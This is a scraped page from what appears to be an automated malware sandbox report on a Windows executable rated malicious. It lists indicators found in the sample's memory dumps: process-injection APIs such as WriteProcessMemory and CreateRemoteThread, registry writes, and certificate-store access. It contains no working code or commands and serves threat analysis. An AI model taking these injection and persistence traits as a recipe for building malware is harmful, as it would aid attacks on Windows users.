26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] b7:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T4fb,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 1475a3bb4ec2… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 1475a3bb4ec2…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 5/27 AV engines flagged this file. 10 malicious and 23 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882"],"about":{"@type":"SoftwareApplication","name":"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin","applicationCategory":["peexe","executable"],"identifier":"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":5,"total":27},"behavioralIndicators":{"malicious":10,"suspicious":23},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T1048,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; File: "00000000-00000244.00000000.250409.00F81000.00000020.mdmp") Found reference to API "ZwMapViewOfSection" (Indicator: "ZwMapViewOfSection"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp")28:Tf2d,Found reference to API "NtOpenThread" (Indicator: "OpenThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThread"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "SetThreadContext"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetThreadContextSetThreadContextGetModuleHandleAGetModuleHandleW" (Indicator: "GetThreadContext"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "NtOpenThread" (Indicator: "OpenThread"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "NtAlertResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00004348.00000000.250872.00D59000.00000004.mdmp")29:T4e0,"" (Indicator: "RegSetValue"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp")2f:T114b,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "windowsservice.exe") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "windowsservice.exe") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp, 00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00000244.00000000.250409.00FCF000.00000002.mdmp, 00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003036.00000000.250189.006F2000.00000002.mdmp, 00000000-00003036.00000000.250189.06030000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp")30:T4e6,"windowsservice.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK") "windowsservice.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK") "windowsservice.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS") "windowsservice.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS") "windowsservice.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6") "windowsservice.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6") "windowsservice.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP") "windowsservice.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP") "windowsservice.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "windowsservice.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS") "windowsservice.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS")31:T9e1,"" (Indicator: "enumchildwindows"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; Source: "00000000-00003424.00000000.250126.0015A000.00000002.mdmp") Found reference to API "FindWindowExA" (Indicator: "findwindow"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00003780.00000000.250951.26E51000.00000040.mdmp") Found reference to API "FindWindowExA" (Indicator: "findwindow"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "PostMessageA" (Indicator: "postmessage"; Source: "00000000-00004992.00000000.250516.6EA01000.00000040.mdmp, 00000000-00004992.00000001.250692.6EA01000.00000040.mdmp") Found reference to API "" (Indicator: "postmessage"; Source: "00000000-00004992.00000001.250692.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.8B0E0000.00000004.mdmp")42:T1daa,"" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry modification API: "" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry modification API: "" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry modification API: "" in "00000000-00000244.00000000.250409.035C0000.00000004.mdmp" Found registry modification API: "" in "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp" Found registry modification API: "" in "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp" Found registry modification API: "" in "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp" Found registry modification API: "" in "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp" Found registry modification API: "RegCreateKeyExA" in "00000000-00003424.00000000.250126.0015A000.00000002.mdmp" Found registry modification API: "" in "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp" Found registry modification API: "" in "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp" Found registry modification API: "" in "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp" Found registry modification API: "" in "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp" Found registry modification API: "RegCreateKeyExA" in "00000000-00003780.00000000.250951.26E51000.00000040.mdmp" Found registry modification API: "" in "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp" Found registry modification API: "" in "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp" Found registry modification API: "" in "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp" Found registry modification API: "" in "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp" Found registry modification API: "" in "00000000-00004348.00000000.250872.02F50000.00000004.mdmp" Found registry modification API: "" in "00000000-00004348.00000000.250872.02F50000.00000004.mdmp" Found registry modification API: "" in "00000000-00004348.00000000.250872.02F50000.00000004.mdmp"4d:T1126,Found string "MoveFileW" (Indicator: "MoveFileW"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found string "MoveFileExW" (Indicator: "MoveFileExW"; File: "1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00000244.00000000.250409.035C0000.00000004.mdmp") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00003036.00000000.250189.02BB0000.00000004.mdmp") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00003424.00000000.250126.03140000.00000004.mdmp, 00000000-00003424.00000001.250723.03140000.00000004.mdmp") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00003780.00000000.250951.E7A40000.00000004.mdmp") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found string "" (Indicator: "MoveFileExW"; Source: "00000000-00004348.00000000.250872.02F50000.00000004.mdmp") Found string "" (Indicator: "MoveFileA"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found string "" (Indicator: "MoveFileW"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp") Found string "" (Indicator: "MoveFileExA"; Source: "00000000-00004992.00000000.250516.89340000.00000004.mdmp, 00000000-00004992.00000001.250692.89340000.00000004.mdmp")4e:T99f,"2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "2O1249.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")4f:T4e3,"2O1249.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "2O1249.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "2O1249.exe" (Path: 